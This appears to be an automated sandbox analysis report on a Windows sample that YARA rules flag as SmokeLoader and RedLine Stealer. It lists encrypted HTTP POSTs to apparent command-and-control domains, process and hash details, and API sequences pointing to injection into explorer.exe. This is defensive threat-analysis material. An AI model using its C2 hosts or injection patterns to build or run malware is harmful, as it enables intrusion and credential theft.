Aug 21, 2024 07:11:59.913721085 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:11:59 GMT Data Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Aug 21, 2024 07:11:59.918770075 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wdxggolynru.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: selebration17io.io
Aug 21, 2024 07:11:59.918806076 CEST	173	OUT	Data Raw: 48 9d 8b bc 48 13 27 52 5e 01 24 24 0c db 5e cd 5b 1c 9b 13 fc 19 df da bc 6c a0 f6 70 f4 a7 e7 8a ad 8e b7 03 32 ee c7 a3 29 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 c8 8a 14 62 cd d6 4f 96 f2 ba 30 f8 Data Ascii: HH'R^$$^[lp2)j~_=;}f=B!bO0o*(-4%:'cLJmZ,~?!D%Ah%wH
Aug 21, 2024 07:12:00.241142988 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:12:00 GMT

Target ID:	0
Start time:	01:11:03
Start date:	21/08/2024
Path:	C:\Users\user\Desktop\Qi4Mj8hG3t.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Qi4Mj8hG3t.exe"
Imagebase:	0x400000
File size:	174'080 bytes
MD5 hash:	61C79ECB54722978E1CCE297F460AE1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:11:13
Start date:	21/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	01:11:31
Start date:	21/08/2024
Path:	C:\Users\user\AppData\Roaming\hehbwci
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hehbwci
Imagebase:	0x400000
File size:	174'080 bytes
MD5 hash:	61C79ECB54722978E1CCE297F460AE1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2105350044.00000000026BE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.2104904098.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs Detection: 81%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	19.4%
Signature Coverage:	52.8%
Total number of Nodes:	144
Total number of Limit Nodes:	5

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Function 00403005 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403139
NtTerminateProcess.NTDLL ref: 00403152

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 9349ae55c142a47270c9c73eabb89239111d3cd47c98212c67b606f4e0ccd907
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: C5412531218E088FD7A8EF6CA88576377D5F798311F6643AAE809D3389EA34DC5187C5

Function 025D221F Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025D2247
Module32First.KERNEL32(00000000,00000224), ref: 025D2267

Memory Dump Source

Source File: 00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp, Offset: 025CF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25cf000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2bc5c0d9232812d48f03e7e3935c6e151595598ba663a14e2f5a2efe75d7d635
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 69F096326007156FD7303BFDA88CB6F7AE9BF49724F100528FA46D25C1DB70E9464A65

Function 0041CC80 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 227
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(022C7958,022C7FB4,00000040,?,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 0041D508

Strings

)?u, xrefs: 0041D395
X2R, xrefs: 0041CEAF
dFfX, xrefs: 0041CFA5
v;^:, xrefs: 0041D0D8
o:?, xrefs: 0041D31D
:/X, xrefs: 0041CFBB
R'._, xrefs: 0041D080
O8##, xrefs: 0041CF14
F(+, xrefs: 0041CD3E
U99x, xrefs: 0041CDE2
6, xrefs: 0041CDF8

Memory Dump Source

Source File: 00000000.00000002.1828782266.000000000040F000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40f000_Qi4Mj8hG3t.jbxd

Similarity

API ID: ProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
API String ID: 544645111-975362989
Opcode ID: 985ff9a8783156675320d5b9838888b25fc8951c43582f0a07c71af294fdf713
Instruction ID: ffaf80d715431d49bc4616ad809a760da3813b36c7eddc0dadf79f6ac9c1cc88
Opcode Fuzzy Hash: 985ff9a8783156675320d5b9838888b25fc8951c43582f0a07c71af294fdf713
Instruction Fuzzy Hash: A00294B440E385CBD2B49F469689B8EBBE0BB91708F608E0CD6DD1A214CB754589CF97

Function 0245003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0245024D

Strings

kernel32.dll, xrefs: 0245008F, 02450095
cess, xrefs: 0245018D

Memory Dump Source

Source File: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Offset: 02450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2450000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c9fbaced24b664d85f2f51353405923b56babc5c95e3065eb613141c6d6e0ca0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D525D75A01229DFDB64CF58C985BADBBB1BF09304F1480DAE94DA7352DB30AA85CF14

Function 0041D9F0 Relevance: 4.6, APIs: 3, Instructions: 50
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(00000000), ref: 0041DA34
GetVolumeInformationW.KERNEL32(00420C34,?,00000000,?,?,?,?,00000000), ref: 0041DA5D
lstrcatW.KERNEL32(?,00420C68), ref: 0041DAA0

Memory Dump Source

Source File: 00000000.00000002.1828782266.000000000040F000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40f000_Qi4Mj8hG3t.jbxd

Similarity

API ID: FileInformationTypeVolumelstrcat
String ID:
API String ID: 880640308-0
Opcode ID: 2f2dc669c62f6113b9801edf6543cb5ec700c74db123e39509a3d80e0da52efe
Instruction ID: 15a5cd5b2f8eb351202171c3d27230bdb0bdf3a9c172189cee9abf2db0b3138f
Opcode Fuzzy Hash: 2f2dc669c62f6113b9801edf6543cb5ec700c74db123e39509a3d80e0da52efe
Instruction Fuzzy Hash: 941196B1E45214EFC710CFD4F944BE9B7B8FB48705F5085BAE11196180DBB81A86CF59

Function 02450E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02450223,?,?), ref: 02450E19
SetErrorMode.KERNELBASE(00000000,?,?,02450223,?,?), ref: 02450E1E

Memory Dump Source

Source File: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Offset: 02450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2450000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e1b12fe88f2fad782c68d0e31ab567b73fc92b09f825ff25b4754dc4cb9b2f3f
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0CD0123514512877D7002A94DC09BCE7B1CDF09B66F108011FB0DD9181C770954046E5

Function 00401C23 Relevance: 1.7, APIs: 1, Instructions: 207
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 9c1e9cccb91d99d954687fe94e70fe720bb5ad39e5d31c5bbb3f34df5b56c3ae
Instruction ID: e299e37b8b1df7c2a428e8bb3617d2710998a2074ebf5d6b59d9fc61523cb6f3
Opcode Fuzzy Hash: 9c1e9cccb91d99d954687fe94e70fe720bb5ad39e5d31c5bbb3f34df5b56c3ae
Instruction Fuzzy Hash: 1551E032548B418BDB02BB74D44155AB760AF9A331B2847FBC8B27A1F0DA39C41387C7

Function 00401CCA Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: ee18ed957e5d8fd6fe97fe65ba6efd433a2767e2441bc6e0a6dd3a94733726b3
Instruction ID: 2019c60d8d756749ae2e0594eba57d106c6ce98ddefb8964d76818405d97e010
Opcode Fuzzy Hash: ee18ed957e5d8fd6fe97fe65ba6efd433a2767e2441bc6e0a6dd3a94733726b3
Instruction Fuzzy Hash: 0B31BD23609941DBC702FF64E580993B724BF9B351B3485E7D4937A2A4EA3AD4338787

Function 00401CD5 Relevance: 1.6, APIs: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: bd927fed9186f620e99b1458b04a6cb2ad46514be84c18feedda195de39cb596
Instruction ID: 84bd3a690f0247306fb1fa0ff4296918b7e83c91f35f317657599bdfd2f51459
Opcode Fuzzy Hash: bd927fed9186f620e99b1458b04a6cb2ad46514be84c18feedda195de39cb596
Instruction Fuzzy Hash: 0B31AC336059419BC702FF64E190993B320BF9B341B3886E7D4D26A2A4DA3694338783

Function 00401CE8 Relevance: 1.6, APIs: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 469a71db9a512d42d5fed120fbd7df9fe46e9529541fcb62269fa8049ec6c364
Instruction ID: f0f4878299061b73063b93e34ea886a159c8618c5cae245c0e522450c8d06431
Opcode Fuzzy Hash: 469a71db9a512d42d5fed120fbd7df9fe46e9529541fcb62269fa8049ec6c364
Instruction Fuzzy Hash: 47317C336059419BC702FF64E190993B324BF9B351B3885E7D4927A2A4DA3A94339787

Function 00401CEB Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e8341f8f5e2f71de27e30eccaec3c4820a60556a34e0eece0aa28621751d1d79
Instruction ID: 5946a9f4b49d3d2b3432c33103b6b784d7caefca3cf00678a339ae37275966c9
Opcode Fuzzy Hash: e8341f8f5e2f71de27e30eccaec3c4820a60556a34e0eece0aa28621751d1d79
Instruction Fuzzy Hash: C5218E236059419BCB02FF74E190993B724AE9B351B2886E7D4927A6A4DA3694338783

Function 00401CEE Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 8baa353fa8bea5cd2d4cf4c9d24d34266b39332e150569f710b4431279bcda07
Instruction ID: 461e80e40723c5157f6bacff0bdb58e681599cf1f2829c6c4aa551d367e5d2a4
Opcode Fuzzy Hash: 8baa353fa8bea5cd2d4cf4c9d24d34266b39332e150569f710b4431279bcda07
Instruction Fuzzy Hash: 5E21A4335059419FC702FF74E150893F724BE9B351B288AE7C4D26A6A5DA369437CB83

